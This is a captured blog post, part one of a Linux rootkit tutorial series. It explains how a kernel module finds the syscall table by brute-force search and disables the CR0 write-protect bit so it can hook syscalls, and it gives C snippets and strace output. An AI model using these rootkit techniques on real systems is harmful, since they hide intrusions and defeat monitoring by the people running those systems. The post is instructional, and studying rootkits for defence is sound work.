jm33.me
Open in
urlscan Pro
185.199.108.153
Public Scan
URL:
https://jm33.me/linux-rootkit-for-fun-and-profit-0x01-lkm.html
Submission: On June 29 via manual from US — Scanned from DE
Submission: On June 29 via manual from US — Scanned from DE
Form analysis
0 forms found in the DOMText Content
Toggle navigation jm33_ng * Course notes * Misc * Pentest * Programming * Tools * Vulnerabilities JM33_NG cyber security / noob developer / poor English LINUX ROOTKIT FOR FUN AND PROFIT - 0X01 - LKM Date Thu 05 December 2019 Tags pentest / rootkit / linux / lkm Every technique used in this rootkit can be found from internet, I am NOT responsible for any damage you might cause using my code WHAT YOU WILL LEARN * what system calls are * how to hijack them HOW TO HOOK SYSCALLS WHAT? to make the magic work, you have to deceive user space programs, meaning controlling the interface between user space and kernel, ie. syscalls take cat for example, how does it open the target file for reading? $ strace cat /tmp/test execve("/usr/bin/cat", ["cat", "/tmp/test"], 0x7ffc0ef32218 /* 29 vars */) = 0 brk(NULL) = 0x5564de58a000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=41793, ...}) = 0 mmap(NULL, 41793, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe15ceaf000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260A\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1824496, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe15cead000 mmap(NULL, 1837056, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe15ccec000 mprotect(0x7fe15cd0e000, 1658880, PROT_NONE) = 0 mmap(0x7fe15cd0e000, 1343488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7fe15cd0e000 mmap(0x7fe15ce56000, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16a000) = 0x7fe15ce56000 mmap(0x7fe15cea3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7fe15cea3000 mmap(0x7fe15cea9000, 14336, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fe15cea9000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7fe15ceae540) = 0 mprotect(0x7fe15cea3000, 16384, PROT_READ) = 0 mprotect(0x5564de4d4000, 4096, PROT_READ) = 0 mprotect(0x7fe15cee1000, 4096, PROT_READ) = 0 munmap(0x7fe15ceaf000, 41793) = 0 brk(NULL) = 0x5564de58a000 brk(0x5564de5ab000) = 0x5564de5ab000 openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=3031632, ...}) = 0 mmap(NULL, 3031632, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe15ca07000 close(3) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0 openat(AT_FDCWD, "/tmp/test", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=5, ...}) = 0 fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0 mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe15c9e5000 read(3, "test\n", 131072) = 5 write(1, "test\n", 5test ) = 5 read(3, "", 131072) = 0 munmap(0x7fe15c9e5000, 139264) = 0 close(3) = 0 close(1) = 0 close(2) = 0 exit_group(0) = ? +++ exited with 0 +++ the core part: openat(AT_FDCWD, "/tmp/test", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=5, ...}) = 0 fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0 mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe15c9e5000 read(3, "test\n", 131072) = 5 write(1, "test\n", 5test ) = 5 more specifically, its the openat syscall that helps cat get the target file. now we know if we hook openat, we can tell cat that this file doesnt exist, or give it Permission denied HOOK? redirecting a syscall to a custom function, is called hooking. to do that, first we need to FIND SYSCALL TABLE basically its about replacing syscalls with your own functions, only in practice, you just modify the syscall table which holds addresses to all syscalls when you have successfully made the target syscall to point to your custom function, all user space programs start to talk to your function instead of the real one to do that, first we need to get the syscall table unsigned long* get_syscall_table_bf(void) { unsigned long* syscall_table; unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void*)) { syscall_table = (unsigned long*)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; } the above code is borrowed from diamorphine several notes to carry in mind: * a syscall function is of type long, meaning it can return a signed (negative) long int as errno * syscall_table[__NR_close] means syscall close of syscall_table array, in which __NR_close is the syscall number (index) of close * syscall table is an array of unsigned long, each element represents an address of the coresponding syscall now i will explain what happens in the get_syscall_table_bf() function: 1. we define a syscall_table to hold the actual syscall table that we get eventually 2. sys_close represents the current close syscall's address, its the starting point we use to search 3. loop until i reaches ULONG_MAX, ie. the max unsigned int number. in each loop, we use (unsigned long*)i as syscall_table (address), see if this syscall_table is valid, by checking if syscall_table[__NR_close] equals the actual close syscall 4. return if we found the match how does the search work? reference $ sudo cat /boot/System.map-xxxx-generic | grep -e 'sys_call_table' -e 'sys_close' ffffffff8125e8e0 T __ia32_sys_close ffffffff8125ec70 T __x64_sys_close # `sys_close` address ffffffff81c001e0 R sys_call_table # syscall table address ffffffff81c015c0 R ia32_sys_call_table ffffffff825985f0 t _eil_addr___ia32_sys_close ffffffff82598600 t _eil_addr___x64_sys_close we see that sys_call_table's address is greater than sys_close's, therefore by doing a search from sys_close to ULONG_MAX (the highest address possible), we are able to find sys_call_table why close then? well, technically anything that resides lower than sys_call_table will do. simple put, we just need to find some point to start from, as long as sys_call_table is in our search interval, we will find it without issue note, syscall table is obtained at runtime, you will only need to compile the LKM once for the same kernel when syscall table is located, our next move is ALTER SYSCALL TABLE reference one does not simply modify the syscall table, because ffffffff81c001e0 R sys_call_table has an R which implies its read-only there are solutions, of course, please read this: what is cr0 ? theres a WP (write protect) bit in cr0 control register: > When set, the CPU can't write to read-only pages when privilege level is 0 * what is level 0? * CPU protection ring, wikipedia level 0 is where your LKM code (the kernel) lives, so by setting the cr0's WP bit to "disabled" mode, we get the permission to ignore read-only sounds really cool, but how do we do that? static inline void protect_memory(void) { write_cr0(cr0); } static inline void unprotect_memory(void) { write_cr0(cr0 & ~0x00010000); } static int mod_init(void) { unsigned long cr0; cr0 = read_cr0(); unprotect_memory(); /* hook some syscalls */ protect_memory(); return 0; } AND with 0, we always get 0, thus WP bits gets disabled. we can OR it back of course, but since we have already read_cr0(), setting cr0 back is really easy okay, i guess i have covered the kernel hooking part, in 0x02, im gonna hook some syscalls, to finish our LKM -------------------------------------------------------------------------------- COMMENTS Please enable JavaScript to view the comments powered by Disqus. About jm33 WHO * Cyber Security Researcher CONTACT * 0x9CF295D2 * Mastodon * Leave a message * SOCIAL * Twitter * GitHub * LinkedIn * StackOverflow * RECENT POSTS * Reversing a Go Malware Using Ghidra * Secure Boot in Arch Linux * OpenSSH Server 密码收割机 * Migrating from Libvirt to Qemu * 我的路 * TAGS * 404 * 443 * active directory * ad * announcement * antivirus * anyconnect * apache * arch * assembly * asu * backdoor * baidu * blackhat * bridge * buffer overflow * C# * career * censorship * cisco * code maintainance * compton * conhost * conpty * Coursera * credential harvesting * crypto * cryptography * CVE * CVE-2018-18955 * CVE-2018-7750 * diary * DNS污染 * DPI * email * emp3r0r * exploit * file transfer * gdb * gfw * ghidra * github * Glowing Bear * golang * gpu * great wall * greatwall * hacking * hacking tool * HiWiFi * HTTP2 * https * injection * IRC * 极路由 * KCP * kcptun * kernel * killer * lede * libvirt * life * linux * linux kernel * lkm * log cleaner * LPE * macos * mass exploit * mec * memory layout * mentohust * Misc * mouse * multi-threaded crawler * namespace * natural scroll * netcat * network * nic * obfs4 * obfsproxy * ocserv * openwrt * paramiko * pentest * pep8 * PGP * pi * port-forwarding * post-exploitation * privilege escalation * programming * project * proxy * ptrace * PTRACE_TRACEME * python * pythonic * qemu * QQ * quote * RCE * reverse shell * reversing * rootkit * s2-045 * scanner * scramblesuit * secure boot * SEED lab * sfu * shadowsocks * shadowsocks-plus * shell * shellcode * socket * SS * ssh * ssh-harvester * sshd * SSL * Stanford * sudo * switch * systemd * terminal * Thomas Jefferson * TMUX * tools * trasparent proxy * vim * virtualbox * virtualization * vpn * wayland * web * weechat * windows * windows domain * windows server * xfce4 * xfwm * xhost * xml * zoomeye -------------------------------------------------------------------------------- © 2023 jm33-ng - About this site Content licensed under a Creative Commons Attribution-NonCommercial 4.0 International License, except where indicated otherwise. Images hosted on this site are either my own or from the Internet